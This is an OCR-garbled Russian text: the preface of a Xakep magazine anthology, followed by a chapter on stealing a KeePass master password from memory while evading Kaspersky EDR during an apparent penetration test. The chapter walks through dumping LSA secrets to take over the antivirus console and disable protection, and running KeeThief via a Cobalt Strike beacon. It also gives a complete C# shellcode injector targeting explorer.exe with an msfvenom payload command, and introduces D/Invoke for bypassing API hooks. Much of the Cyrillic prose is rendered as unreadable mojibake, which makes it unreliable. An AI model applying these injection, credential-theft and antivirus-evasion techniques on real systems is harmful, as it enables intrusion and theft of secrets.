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NpeancnoBue

IIpouwto aBa roga ¢ MOMeHTa MyONIHKaLHK IEPBOro COOpHHUKA CTaTel, HOATOTOBJIEHHOTO
uznarenscTBoM «bXB» coBMecTHO ¢ peaakuuel xypHana «Xakep». To gebroTHoe u3na-
HHe Ha3pIBanoch «BanoM. IIpueMsl, Tproku U cekpeThl XakepoB». KHura OpicTpo 3aBoe-
Bajla MOMYJSAPHOCTh CPEAM YHUTATEJEH, Mepexuiia HECKOJIBKO JOMEYaTOK M Pa3olLIach
OONBLIMM THPAXOM, YTO €Illle Pa3 JOKa3bIBaeT: TeMa HH(GOPMALMOHHON 0e30MacHOCTH He
TepsieT cBoel akTyansHOCTH. Celdac ee yxe HEBO3MOXKHO HAHTH B MPOJAXKE, OJHAKO MBI
PELIMIH HE BBITYyCKATh €IIE OAMH JOMOJIHUTEIBHBIA THPaX, MOTOMY YTO OMyOJIHKOBaH-
HbIE B MEpBOM COOpHHKE MaTepHalbl 3a JBa roga HeMHoro ycrapend. Cdepa 3amUThI
nHbOpMalMM BEChbMa JUHAMH4YHA, 3[€Ch BCE MEHSETCS O4YeHb ObICTpo. Mexay Tem B
«Xakepe» KaXIblH I€Hb BEIXOAAT HOBBIE HHTEPECHBIE U aKTyalbHble cTaThi. OHH U Jier-
JIM B OCHOBY 3TOH KHHTH.

[Ty6nukyemsle B «Xakepe» MaTepHajbl BCErJa OTJIMYAIUCh CBOEH NMPAKTHYECKOH LIEHHO-
CTBI0. 3/ech He Haizmemwp ¢uaocodpckux TpakraToB o cyabdax IT-unaycTpuu uiu mpo-
CTPaHHBIX PacCyXJACHHUH O BHYTPEHHEM YCTpPOHCTBE NMporpaMM. TOJBKO MPaKTHYECKHE
NPUEMBI B3JIOMa, 3alIMTHl OT HET0, ONHCAaHHE YA3BUMOCTEH, TEXHOJIOTHH aTak, Crioco60B
HX JETEKTUPOBAHHUSA U 3allUTHI JaHHBIX. Bce TeKCTHI co3qaHbl NPaKTHKYIOKMMH mpodec-
CHOHaJaMH, MMEIOLIMMH MHOTOJETHHH ONbIT paboTel B cdepe NMEHTECTHHra, peBepc-
HH)XXUHUpUHra U MHGOpMalLHMOHHOH 0e30macHOCTH. YPOBEHb 3KCIIEPTHU3BI aBTOPCKOTO
KOJUIEKTHBA «XaKepa» HeoOblYaliHO BBICOK, YTO MOATBEPXKIAETCS MHOTOJETHEN HCTOpH-
el )xypHana. Bo3aM0)XHO, HMEHHO [T03TOMY HEKOTOpPbIE aBTOPHI IPEANIOYHUTAIOT ITyOIHKO-
BaTh CBOM CTaThbH M PYKOBOJACTBA ITOJ ICEBAOHMMaMH — HACTOSIIME UMEHaA co3aarenei
OTIEIbHBIX TEKCTOB HE 3HAIOT Aa)K€ COTPYAHUKH PEAAKLHUH :).

XKypnan «Xakep» mosiBuics B ¢eBpane 1999 roma, H nepBble €ro BBITYCKH OBUIH B
GonpLIel CTENeHH MOCBALIEHb KOMIBIOTEPHBIM MIpaM, YEM B3JIOMY M 3allMUTE OT HEro.
Ho no3xe urposasi TeMaTHKa IepeKoYeBaia B OTAENBHOE H3[AHUE, U YXKE depe3 IeciTh
HOMEPOB aKLEHT CMECTHJICS B CTOPOHY BCEBO3MOXHBIX KOMITBIOTEPHBIX TPIOKOB U Xa-
Kepckoi cyOkynsTyphl. Benb xakepsl — B MepBOHA4YaIbHOM, KIaCCUYECKOM MMOHUMaHUHU
JaHHOTO TEPMHHA — 3TO MCCIIEA0BATENIH, H3yYalolie BHYTPEHHEE YCTPOHCTBO U apXu-
TEKTYPY KOMIBIOTEPOB HE C LEJIbI0 JUYHOro oborameHus UiH BpeAUTENbCTBA, a UCKIIIO-
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YUTEIBHO PaId YIOBJIETBOPEHHS COOCTBEHHOI *kaX bl Mo3HaHUs. BOT mis Takux xake-
POB U OBLT CO3aH XKYypHAJ.

Ha Oymare «Xakep» BBIXOAWJ elle IIecTHaauarth Jer — o uioias 2015 roga. 3a sto
BpEMs MHOIO€ M3MEHHJIOCh: CTajl COBEPILIEHHO HHBIM PhIHOK PEK/IaMbl, CTOMMOCTb I10JIU-
rpaduy BbIpOC/a B HECKOJIBKO pa3, Ja M YHMTATeIH CTald MEHee OXOTHO MOKynaTh Oy-
MaXXHYIO NIpeccy, NPEANoYHuTas YHTaTh HHTEPECYIOLIME UX CTaTbi B HHTepHeTe. JKypHan
OTpearupoBaJl Ha HOBbIE BESIHbS1 BPEMEHH: BCE MOCJIEAYIOIHE BBITYCKH ITepeKoYeBaIy Ha
caiit xakep.ru, 10 3TOro urpaBmKi posib OpHUIHATBHONH BEO-CTpPaHHYKH OyMaXKHOTO H3-
Jnanus, a B 2015 roay npeBpaTHBIIMIHCA B €AMHCTBEHHYIO TUIOIIAAKY, HA KOTOPOH BBIXO-
WK Bce HOBble Matepuanbl. Cefiuac xakep.ru ynTaer HECKOJIBKO MHJITHOHOB YEJIOBEK
€XXEMECSYHO, IOCTOSIHHBIE MOANUCYHKH nonyyaoT PDF-Bepcutio xypHana, 31eKTpOHHbIE
PacChUIKH U BHUMATENIBHO CJIEAAT 32 HOBUHKAMH B COLIMAJIBHBIX CETSIX.

B cepennHe «HyneBbIX» MpeTepIieia CyIEeCTBEHHbIE U3MEHEHHS] H HHYCTPHS XaKepCTBa,
pa3feNuBLINCh HA JIBA MPOTHBOIOJIOXKHBIX MO CBOEH CYyTH TEYEHHSA: KpUMHMHAJIbHOE, U
NpOTHUBOCTOsILEe €l HampaBieHHe HH(POpPMalHOHHOH Oe30macHOCTH. «Xakep» 3aHsl
CTOPOHY 0Opa: MbI HILEM O B3JIOME C TOYKH 3PEHHS TECTHPOBaHHs 0€30MacHOCTH HH-
(hopMaLHOHHBIX cHCTEM, 0c000e BHHMaHHE YJIenss NPOTHBONEHCTBHIO BTOPIKEHHSM,
npoUIaKTHKE 3aILMTBl U MepaM Mo 00ecrneyeHHI0 COXPAaHHOCTH NaHHBIX. YuTarenu
«Xakepa» Bcerja OCTalTCs Ha OCTpHUE Mporpecca, MOCKONbKY XYpHaJ JeIUTCS C HUMH
camoi akTyalpHOH MH(bOpManMel O HOBBIX YSA3BUMOCTSX, BPEIOHOCHBIX IpOrpaMmax,
BEKTOpAaX aTak M MPOYHX BaxkHbIX coObITHsAX B Mupe Ub.

Hcropuyecku B «Xakepe» ciaoxuiaack cBoeoOpasHas atmocdepa. Bo-mepBbix, aBTOpEI
00IIAI0TCs ¢ YHTATENEM 3aMIPOCTO, Ha «Th». BO-BTOPEIX, 31€Ch JOMYyCTUMBI CJIEHT H XKap-
TOHHU3MBI: HAaIllM aBTOPBI HE JH00AT 0pHLIH03a U MPUBBIKJIM HAa3bIBAaTh BELH CBOUMH HMe-
Hamd. KTo-T0 u3 untareneii nepBbix cOOPHUKOB HA3Bajl 3TO «TOMHHYECKHM CTHIIEM)» —
BEPOSITHO, OH MIPOCTO HUKOTZA HE Jiepxall B pykax OyMaxkHbIH «Xakep» WM HU pa3y He
3arnsaapiBai Ha xakep.ru.

B kHure npuHAT psan ycioBHbIX oOo3HaueHuil. Tak, Bpeska [lpumeuanue cOnEpXUT Ty
WIH HMHYIO TOJIE3HYH HH(OpPMaLHIO, OTHOCAIIYIOCS K paccMarpuBaemoil Teme. Bpeska
Ione3nvie ccvlnku BKIIOYAET CCBUIKH Ha pas3jMyHble MyOIHKAlUKd B HHTEPHETE, IlIE BbI
CMOJXXETE MMOYEPIIHYTh IOMOJHHUTENbHYIO HH(OpMaIHIO 1O CBA3aHHOH Teme. Bo Bpeske
BHUMAHHE! npuBeneHa BaxkHast HH(GOpMaIIUs, K KOTOPOH ClIeAyeT OTHECTHCH CO BCEH
BO3MOXHOI ceppe3HOCThI0. AKHPHBIM IIPH(TOM B KHUTE BBIAEJIEHBI 3JIEMEHTHI HHTEp-
deiica, moHoumpyHiEM — KOMaHIbl, 2JIEMEHTHI MALIWHHOTO BBOJA U BBIBOJIA.

[IpounTtaB KHUTY, BB Y3HaeTe, KaKk 00OXOAUTh aHTUBHPYCHI, KaK padOTaeT HOBas aTraka Ha
Active Directory, kak ycTpoeHa Ky4a U CBSI3aHHBIE C HEll ySI3BMMOCTH, Hay4YuTeCh pado-
TaTh (ha33epoM M HCKaTh ObIpbl B codre. Ellle Bl MO3HAKOMHUTECH C IIPUMEpPAMH B3JOoMa
pa3UyHBIX MPOTEKTOPOB, OCOOEHHOCTSAMH IMEHTECTa MPOTOKOJOB AMHAMHYECKOH Map-
mpytH3auuu u npotokona DTP, BeisicHute, kak Hanucatb DDoS-ytunuty mis Windows.
Haxkoner, Bl 0cBOHTE pa3pabOTKy CBOEro TpelHepa s Urpsl Ha sa3eike C++ U y3Haere,
KaK YCTpO€Ha HalymeBias ysa3BUMocTb LogdHELL.
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[Tockonpky Tema 3TOH KHUTM BecbMa crieunHyYHa, Mbl HE MOXXEM HE OMyOIHKOBaTh B
NPEeIVCIOBUN HECKOJIbKO BaXKHBIX MpeaynpexaeHuil. Bot onu:

BHUMAHMUE!

Bcsa npuBegeHHas Ha cTpaHuuax 3TON KHUIM MHAOPMaUWA, KOA4 U NpUMepbl NyGnukyoTcs
UCKNKYUTENBHO B O3HAKOMUTENbHLIX Lensax. Hu napnatenbctBo «bXB», HU pegakuus xyp-
Hana «Xakep», HW aBTOPbl HE HECYT HUKaKOW OTBETCTBEHHOCTM 3a Nobble nocneacTeus uc-
Nonb3oBaHMA MHOPMaLMK, NONYYEHHOW B pe3ynbTaTte NPOYTEHWUA KHUMK, a Takke 3a nio-
601 BO3MOXHbIN Bped, NPUYUHEHHBIN MHOPMaUMEn U3 3TOro n3naHus.

MomHMTE, 4TO HEeCaHKUMOHMPOBAHHBIA AOCTYN K KOMMNbIOTEPHBIM CUCTEMaM WU pacnpocTpa-
HeHne BpeaoHocHoro O npecneayoTca No 3akoHy. Bce paccmMoTpeHHble B KHUre meToaeb!
npeacTaBneHbl B O3HaKOMUTENbHbIX Lensx. Kakum-nubo obpasom ucnonb3ys npeacras-
NEHHYI0 B KHWUre MHdopMaumio, Bbl AEUCTBYETE UCKMIOYMTENBHO HAa COBCTBEHHBIM CTpax w
pU1CK.

Hanerock, 3Ta KHMra MOMOXET BaM B M3Y4YE€HHH NPUHLHMIIOB M MPAKTHYECKUX MPHEMOB
MHGOPMaMOHHOH 0€30MacHOCTH, a TAKXKE MOCIYXHUT XOPOLIMM HCTOYHUKOM BIOXHOBE-
HUA B IIpoLiecce 00y4eHHs 3alliTe JaHHBIX.

Banenmun Xonmocopoe,
pedaxmop pyopuku «B3nom» xcypnana «Xakxep»

http://xakep.ru
http://holmogorov.ru



Bbi30B MacTepy Knoveu.
UHxekTM wenn-koa B namaTb KeePass,
obonaa aHTUBUpYC

snovvcrash

HenaBHO Ha meHTecTe MHE MOHAAOOMJIOCH BBITALUUTH MAacTEP-MApoJib OTKPHITOH 0a3bl
naHHbIX KeePass u3 mamsatu mpouecca ¢ nomouibto yTuiauThl KeeThief u3 apcenana
GhostPack. Bce 6b1 Huyero, na Bor EDR, cnensinuii 3a CHCTEMOH, KaTErOpHYECKH HE
JlaBa MHe 3Toro crenatb — Beds noja kanotoMm KeeThief sxuBer knaccuueckas mpoie-
JIypa MHBEKUHH LIEI-KOJa B YAaJCHHBIA MPOLECC, YTO HE MOXKET OCTaThCs HE3aMEYEH-
HbeIM B 2022 roay.

B 3T0# r1aBe MBI paccCMOTpPUM 3aMedartenbHbll cToporHH Mexanu3M D/Invoke nns C#,
no3pousiroinni 3¢ dexrusHo neprate Windows API B 06xox cpeacTs 3aluuTel, H nepe-
numeM KeeThief, yToObl ero He 1oBUI BETHKHH U yxacHbIH «Kacniepckuii». [Tornanu!

MpeabicTopus

B o6uieM, npebsiBato s Ha BHYTpSKE, JOMEH-aIMHUH y>K€ NOHMaH H-HakasaH, HO BOT OC-
Tajach oJHa BpenHas 6a3a naHHbx KeePass, koTopas, KOHEUHO ke, He 3axoTena copy-
TUTBCA C noMolblo hashcat U keepass2iohn.py (https://gist.github.com/HarmJ0y/
116fa1b559372804877e604d7d367bbc). B KeePass — noctynbl kK KpHTHYECKH BaXKHBIM
pecypcaM HHPBI, ONPEENSIOIIUM HCX0 BHYTPSKA, IO3TOMY N0OpaThCs 10 HEE HYXXHO.
Ha paGoueli craHuuu, rae mois3ak KpPYyTHT MHTEPECYHOLYI0 Hac 6a3y, riusaauT B oba
Kaspersky Endpoint Security (on »xe KES), kotopslii He naet paccnabutecs. PaccMor-
pHM, KaKH€ €CTh BApHAHTHI MOJY4HUTh )KEJIaHHBIH MacTep-napoib, He npuberas K COLUH-
KEHEPHH.

IIpexxne Bcero ckaxy, 4To YCHeX 3TOro MpeanpHaTHs — B 00f3aTeIbHOM HCIOJIb30Ba-
Hun kpytoi mansapu KeeThief u3 komnekunmn GhostPack aBropcTBa HeGe3bI3BECTHBIX
@harmjOy (https://twitter.com/harmjOy) u @titkin_ (https://twitter.com/tifkin_). fn-
pO MporpaMMbl — KacTOMHBIH 1IeNI-KoJ, KOTopbli Bbi3biBaeT RtlDecryptMemory B oT1-
HOUIEHUH 3alIMPPOBAaHHOH 00JACTH BHUPTYalIbHOH NaMSTH KeePass.exe M BBIIEPTHBAET
OTTyJa Hall MacTep-naponb. Eciiu ecTh 1iemI-ko, Hy’KeH U 3arpy3uHK, H C 3TUM BO3HH-
KaloT TPYAHOCTH, Koraa Ha xocre npucyrcrByer EDR...

Brpouem, mbi oTBneknuce. Kakue Oblin BapHaHThI?



NoTywunts AV

Cawmpiii mpocto (M rimynblid) cnocod6 — BEIpYOHTH K 4yepTsaM «Kacnepckoro» Ha mapy
CeKyHI. «IJTO He PEeATHM, [T03TOMY MPaBO HMMel!» — nmoayMman i. Tak Kak NPHBHIETHH
aJIMMHHCTpaTOpa JIOMEHa €CThb, €CTb M HOCTYN K cepBepy aaMuHHcTpupoBaHus KES.
CrnenoBarenbHO, H K y4E€TKE K1ScSvc (B 3TOM Cllyyae MCIOJIb30Bajach JOKanbHas Y3),
Kpeabl OT KOTOPOH XpaHATCs cpeAu cekpeToB LSA B nieiHTekcTe.

Ilopsgox meiictBuit  mpocroit. [Jammaro LSA ¢ mnoMompio secretsdump.py
(https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)

(puc. 1.1).

Puc. 1.1. MNotpowwwum LSA
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I'pyxy  koHconp  anmMuHucTpupoBanus KES ¢ oduumanbHoro  caiira
(https://www.kaspersky.ru/small-to-medium-business-security/downloads/endpoint)
H JIOTHHIOCH, Yka3aB xocTHernM KSC (puc. 1.2).
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Puc. 1.2. KoHconb agmutmnctpuposanms KES

Puc. 1.3. AdobeHelperAgent.exe, Hy Bbl NOHsMK, ara
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Cronopro «Kacnepa» u nenaro cBOH rpsi3Hble aenumku (puc. 1.3).

Profit! Mactep-napons y Hac. [Tociie okOHYaHUs TPOEKTa s ONpoOOBa APyrue crnocoOsl
PELINTD 3Ty 3a1a4y.

NMonyuutb ceccuro C2

Mtuorne C2-¢peiimBopku (https://attack.mitre.org/tactics/TA0011/) ymeroT TaluuTh 3a
cobo#t DLL panraiima kona C# (Common Language Runtime, CLR) u 3arpyxars ee ot-
paxxenHo no npuHuuny RDI (Reflective DLL Injection, https://www.ired.team/
offensive-security/code-injection-process-injection/reflective-dll-injection) s 3amyc-
Ka ManBapH U3 namsaTH. TeOpeTHYEeCKH 3TO MOXKET MOBIHATH HAa MPOLIECC OTIOBA YNpaB-
JIIEMOTO KOJ/1a, HCIIOJTHIAEMOTO Yepe3 TaKOH TPIOK.

[TonHoueHHy0 ceccuo Meterpreter nmpH akTHBHOM aHTHBHpyce Kacnepckoro nomyduTsb
TPYAHO H3-3a OOHIHS apTe(aKkTOB B CETEBOM TpadHKe, MOITOMY €ro execute-assembly
(https://github.com/b4rtik/metasploit-execute-assembly) s naxxe npoboBarb He cran.
A BoT Moaynb execute-assembly (https://www.cobaltstrike.com/blog/cobalt-strike-3-
11-the-snake-that-eats-its-tail/) Cobalt Strike nmpuHec cBOH pe3ysbTaThl, MOCKOJIBKY 5
NpaBUIILHO MONYYHI ceccHio beacon (nanee ckpuHIOTH OynyT ¢ nomamsero KIS, a He
KES, HO Bce TeXHHKH pabOTalOT U MPOTHB MOCIEIHET0 — NPOBEPEHO, puC. 1.4).

| tsterers % | Beacon 192.168.0.123@7472 X

@ Kaspersky internet Secir

Bawa sautura axtneHa

Toapobree

% =

O6roanenne Saz Besonacise nratesm

awinra npweaTHOCT 1 Aavel My Kaspersky

Puc. 1.4. KeeTheft.exe c nomowbio execute-assembly CS

Bce ko3blpH packpsiBaTh He Oyay — MHe elle paboTaTb NEHTECTEPOM, OJHAKO 3TOT Me-
TOJ TOXe He MpeACTaBiIseT OONbLUIOro MHTEpeca B Hauei curyauuu. s riaaakoro no-
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JYYEHHS CECCHH «MasyKa» Hy)XeH BHEIUHHH cepBaK, Ha KOTOPBIH Hal0 HAKPYTHUTH Ba-
JUAHBIA cepTUdHKAT 1 wHppoBanus SSL-tpaduka, a 3apakaTh TaKHM 00pa3oM Ma-
HIMHY C BHYTPEeHHero nepuMerpa 3akazquka — COBCEM HEBEXUIHBO.

MNepenasaTb MHCTPYMEHT

Camblit HHTEpECHBIH U B TO € BpeMs TPYAO03aTpaTHbIH cOCcO0 — Mepenucarhb JOTHKY
HHBEKIUH 1Ie/UI-KoAa TakuM obpa3oM, 4to6sl EDR He cnanun B MOMEHT HCIOIHEHHS.
310 TO, paiu Yero Mbl CEroIHsA coOpaiuch, HO JUI1 Hayala HEMHOTO TEOPHUH.

TNMPUMEYAHUE

[eno 3gecb MMEHHO B YKNOHEHUWU OT 3BPUCTUYECKOro aHanuaa, Tak kak, eCnv Cnpsitatb Cur-
HaTypy ManBapu C NOMOLLbI HEeAeTeKTUPYeMOro ynakoBLMKA, AOCTYN K NamMsATU Ham Bce
paBHo GyaeT 3anpeLyeH u3-3a denna nHbvekuum (puc. 1.5).

Puc. 1.5. 3anyck kpuyntoBaHHoro KeeTheft.exe npu aktusHom EDR

Knaccuuyeckaa MHbeKuus wenn-Kkoaa

OrnsHeMcs Ha3al U paCCMOTPUM KJIaCCHUYECKYHO TEXHHKY BHEAPEHHS CTOPOHHETO Koja B
yaaneHHsl# npouecc. [ 3Toro HamM NpeakH NOJIb30BANIHCH CBSLIEHHBIM TpHo Win32
API (puc. 1.6):

O virtualadllocEx (https://docs.microsoft.com/en-
us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex) — BbiienuTs Me-
CTO B BUPTYaJIbHOH NIaMATH YAAJIEHHOTO MpoLecca Mo Halll IIeI-KOA.
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O writeProcessMemory (https://docs.microsoft.com/en-
us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory) — 3amicaTth
OaiThI 1IEJUT-KOA B BBIACJIEHHYIO 00JIaCTh MAMSTH.

O createRemoteThread (https://docs.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createremotethread) — 3amycTuTh HOBBIH MOTOK B YIAJE€HHOM IMpoLecce, KOTOPbIi
CTapTyeT CBEXe3alHCaHHBIH 1IeUI-KOJ.

THREAD EXECUTION
TABGET (wALWARE

PROCESS : PROCESS

IMAGE CONTENTS

Puc. 1.6. icnonHenue wenn-koaa ¢ nomowbto Thread Execution
(n3obpaxeHne — elastic.co)

HanmnweM npoctoit PoC Ha C#, 1eMOHCTPHPYIOIIMH 3Ty CaMyl0 KIaCCHYECKYH0 MHBEK-
MU0 LICII-KOoAa.

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

namespace SimpleInjector

{

public class Program

{

[DllImport ("kernel32.dl1", SetlastError = true, ExactSpelling true) ]
static extern IntPtr OpenProcess (

uint processAccess,

bool bInheritHandle,

int processId);

[DllImport ("kernel32.dl1l", SetlastError = true, ExactSpelling true) ]
static extern IntPtr VirtualAllocEx (

IntPtr hProcess,

IntPtr lpAddress,

uint dwSize,

uint flAllocationType,

uint flProtect);
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[D1llImport ("kernel32.d11")]
static extern bool WriteProcessMemory (
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);

[Dl1Import ("kernel32.d11")]
static extern IntPtr CreateRemoteThread (
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
IntPtr lpThreadId);

public static void Main()
{
// msfvenom -p windows/x64/messagebox TITLE='MSF' TEXT='Hack the
Planet!' EXITFUNC=thread -f csharp
byte[] buf = new byte[] { };

// Tonydaem PID mpolecca explorer.exe
int processId = Process.GetProcessesByName ("explorer") (0] .Id;

// TonmydaeM xeHI npouecca no ero PID (0x001FOFFF =
PROCESS ALL_ ACCESS)
IntPtr hProcess = OpenProcess (0x001FOFFF, false, processId);

// Bemenaem obnacTb namaTtu 0x1000 Gamr (0x3000 = MEM COMMIT |
MEM RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)

IntPtr allocAddr = VirtualAllocEx (hProcess, IntPtr.Zero, 0x1000,
0x3000, 0x40);

// 3anuceiBaeMm wWesuyi-KOI B BhIOEJIEHHYK OOJIACTb
_ = WriteProcessMemory (hProcess, allocAddr, buf, buf.Length, out

// 3anyckaeM NoTok
= CreateRemoteThread (hProcess, IntPtr.Zero, 0, allocAddr,
IntPtr.Zero, 0, IntPtr.Zero);

}
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CKOMITHJIMPOBAB M 3aIyCTHB HHXEKTOP, ¢ moMolikio Process Hacker MoxkHO Habr0aaTh,
KakK B mpouecce explorer.exe 3ayCTUTCA HOBBIH NOTOK, PUCYIOIIHUN HAM JHaJIOrOBOE OK-
HO MSF (puc. 1.7).

T2 @ O P et M40
T2 AT 3 e arsdcr v Wieie

BT B s Kie2S
e ——eie?

Puc. 1.7. Knaccuyeckas nHbekuus wenn-koaa

Ecnn npocro nonoxurs Takoit OMHAaph Ha AMCK C AKTUBHBIM CPEICTBOM aHTHBHUPYCHOH
3alUThl, peakuus OyneT He3aMeIJIMTENBbHOH HE3aBHCHMO OT COAEP)KHMOIro MacCHBa
buf, TO ecTb Hamlero mieaI-kona. Bce neno B koMOMHanuHM MOTEHLMAIbHO ONACHBIX
BbI30BOB Win32 API, koTopsle 3aBeIOMO HCIONB3YIOTCS B OOJBIIOM KOJHYECTBE 3JI0-
BpenoB. i OEMOHCTpalMH s NEPEKOMIMIMPYIO MHXEKTOpP C MyCTBIM MAacCHBOM buf
n 3aneio pesynabrar Ha VirusTotal. Peakuwus (https://www.virustotal.com/gui/file/
894a2a4b908f51ec2202fffd1dd052716921ee1598a431b356a9a2c6c4a479367) pecypca
roBOpHUT cama 3a cebs (puc. 1.8).

Kaxk antuBupyctnoe 10 noHuMaer, 4To nepea HUM HHXXEKTOp, naxke 0€3 THHAMHYECKOTro
aHanu3a? Bce npocro: nmayka aTpHOyTOB DllImport, 3aHMMAIOIUMX IOJIOBHHY HAalIEro
HCXOIHHUKA, KpHUHUT 00 3TOM Ha BCIO AepeBHI0. HanpuMep, ¢ NOMOILBIO TAKOTO BOJIIED-
Horo kona Ha PowerShell s mory nocMotpets Bce umnoptsl B 6uHape .NET.

NPUMEYAHUE

3pecb ucnonedyetca cbopka System.Reflection.Metadata, AOCTYNHasa «uU3 KOpobku» B
PowerShell Core. YctaHoBKa onucaHa B AokymeHTauun Microsoft
(https://docs.microsoft.com/en-us/powershell/scripting/install/
installing-powershell-on-windows).



" Puc. 1.8. VirusTotal Hamekaer...

Sassembly =
"C:\Users\snovvcrash\source\repos\SimpleInjector\bin\x64\Release\SimpleInjector
.exe"

$stream = [System.IO.File]::OpenRead ($assembly)

SpeReader = [System.Reflection.PortableExecutable.PEReader]: :new(Sstream,
[System.Reflection.PortableExecutable.PEStreamOptions]: :LeaveOpen -bor
[System.Reflection.PortableExecutable.PEStreamOptions] : :PrefetchMetadata)

SmetadataReader =
[System.Reflection.Metadata.PEReaderExtensions] : :GetMetadataReader ($peReader)

SassemblyDefinition = $metadataReader.GetAssemblyDefinition ()

foreach ($typeHandler in $metadataReader.TypeDefinitions) {
StypeDef = SmetadataReader.GetTypeDefinition ($typeHandler)
foreach ($SmethodHandler in $typeDef.GetMethods()) {
SmethodDef = S$metadataReader.GetMethodDefinition ($SmethodHandler)

Simport = S$methodDef.GetImport ()
if ($import.Module.IsNil) {
continue
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$dllImportFuncName = $metadataReader.GetString (Simport.Name)
SdllImportParameters = $import.Attributes.ToString()
$dllImportPath =
SmetadataReader.GetString ($metadataReader.GetModuleReference ($import.Module) .Na
me)
Write-Host "$dllImportPath, $dllImportParameters n$dllImportFuncName n"

E¥ C:\Program Files\PowerShell\\pwsh.exe — ] X

Puc. 1.9. CmoTtpum umnoptel B Simplelnjector.exe

MPUMEYAHUE
371 vmnopTbl nNpeacTaBnsaloT cobor cnocob B3aumogewncTeusa npunoxenun .NET c He-
ynpaBnsieMblM KOOOM — TakuM, Hanpumep, kak dyHkumn 6ubnuotek user32.dll,

kernel32.d1l. 3T0T MexaHn3m Ha3biBaeTcs P/Invoke (Platform Invocation Services), a ca-
MW CUrHaTypbl UMNOPTUPYEMbIX PYHKUMIA C HABOPOM apryMeHToB U TUMNOM BO3BpaLLaemMoro
3Ha4YeHna MOXHO HaWTW Ha caunTe pinvoke.net (https://www.pinvoke.net/) (puc. 1.9).

IIpn ananuse atoro mobpa B OUHaAMHKe, KaK Thl MOHHMMaellb, Aena oOcToAT ele
npoiue: Tak kak Bce EDR nMeroT npuBeIuKy BemaTth XykHu Ha userland-uHTepgeicsl,
BBI30BBI Moao3putenbHbix APl cpa3dy nonuumyt tpeBory. [lonpobHee 06 3TOM MOKHO
noyutath B pecepye (https://s3cur3thlsshlt.github.io/A-tale-of-EDR-bypass-methods/)
@ShitSecure (https://twitter.com/ShitSecure), a B 1a00paTOpPHBIX YCIOBHAX XYKHHT
HarJsHee BCero poAeMOHCTpHpoBaTh ¢ omolbio API Monitor (http://www.rohitab.com/
apimonitor, puc. 1.10).

Hrak, 4TO k€ CO BCEM ITHM A€J1aTh?
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Puc. 1. 10. Xykaem kernel32.dil 8 Simplelnjector.exe

BeeaeHue B D/Invoke

B 2020 romy wuccnenoBatenn @TheWover (https://twitter.com/therealwover) u
@FuzzySecurity (https://twitter.com/fuzzysec) npencraBunu HoBblii APl nnst BbI3OBa
Heynpasnsemoro koaa u3 .NET — D/Invoke (Dynamic Invocation, mo aHamoruu c
P/Invoke). OT1oT cnoco6 OCHOBaH Ha MCMOJIL30BAHUHM MOIIHOTO MeXaHH3Ma JejleraToB
(https://docs.microsoft.com/ru-ru/dotnet/csharp/programming-guide/delegates/) B
C# W M3HayanpHO OBbLT JOCTYIEH Kak 4yacTh (ppeiiMBOpKa a1t pa3pabOTKU MOCTIKCILTYa-
TaunoHHBIX Tya3 SharpSploit (https://github.com/cobbr/SharpSploit), onHako mo3xe
ObUT BbIHECEH B OTAeNbHBIA peno3utopuii (https://github.com/TheWover/DInvoke) u
naxe nosisuiics (https://www.nuget.org/packages/DInvoke/) B Bune coopku Ha NuGet.

C noMoIbio AeneratoB pa3paboTYMK MOXET OOBSABUTH CCbUIKY Ha (PyHKLHIO, KOTOPYIO
XO04YeT BbI3BaTh, CO BCEMH MapaMeTpaMH M THUIIOM BO3BPAILAEMOTO 3HAYEHHs, KaK U MpPH
UCIOJIL30BAHHH UMIIOPTa € MMOMOILBIO aTpu0yTa DllImport. Pa3HuLa B TOM, 4TO B OTJIH-
Y€ OT UMIIOPTA C MOMOILBIO D1lImport, KOTAa aApec UMIOPTHPYEMbIX QYHKLUMHA HIIET
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UCIIOJIHAIOIAs Cpelia, IPH MCIOJIb30BaHHH JAEJIEraToB MbI JOJDKHBI CAMOCTOSITENBLHO JIO-
KaJH30BaTh HHTEPECYIOUIMH HAC HEYNpaBasieMbld Ko (IMHAMHYECKH, B XOJ€ BBINOTHE-
HHs1 IPOrpaMMBbl) U aCCOLIMMPOBATh €ro ¢ OOBSBICHHBIM yKa3aTeneM. Jlanee Ml CMOXeEM
oOpamarecss K yKa3aTelmo Kak K HCKOMOH ¢QyHKIHH, 6€3 He0OXOOUMOCTH «KpHYaTh»
0 TOM, YTO MbI BOOOILE COOHPATHCh €€ HCII0JIb30BATh.

D/Invoke npemocTaBiseT HE OJUH NOAXOMX A AMHAMHYECKOTO HMIIOPTa HEYNpPaBIIseMO-
ro KoJa, B TOM 4YHCJIE:

DynamicAPIInvoke
(https://github.com/TheWover/DInvoke/blob/0530886deebd1a2e5bd8b9eb8eld8ce87
f4caSe4/DInvoke/DInvoke/Dynamiclnvoke/Generic.cs#1.33) — mnapcuT CTpykTypy
DLL (mpuuem MOXeET Kak 3arpy>kaTh €€ C JUCKa, TaK U 00palaThCs K yxKe 3arpy>KeHHO-
My 9K3EMIUIAPY B aMATH TEKYILEro Mpolecca), e pa3MelleHa HyxkHas QyHKUHsA, U Bbl-
YHCIISIET €€ IKCIOPT-apec.

GetSyscallStub
(https://github.com/TheWover/DInvoke/blob/0530886deebd1a2e5bd8b9eb8el1d8ce87
f4caSe4/DInvoke/DInvoke/DynamicInvoke/Generic.cs#L.806) — 3arpysxaeT B namsThb
6ubaH1oTeEKy ntdll.dll, TOYHO TakK Xe MapCUT €e CTPYKTYpY, 4TOObI B pe3ysbTaTe Moiy-
YHUTbh HE YTO MHOE, KaK YKa3aTelb Ha 9KCIOPT-aJpec CHCTEMHOrO BBI30Ba — IMOCIEIHEH
4epThl NMepel NepexoaoM B Mup MepFehix kernel-mode (0 cHCTEMHBIX BBI30BaX MOrOBO-
PHUM UyTb MO3XKE).

Uto6s1 66110 MOHATHEE, pa3bepeM i Havajaa NpOCTOH NpHUMEp, KOTOPBIN AeaeT HeUTO
MOX0>Kee Ha MepBBIH MOAX0, HO Oe3 ucnosb3oBaHus D/Invoke.

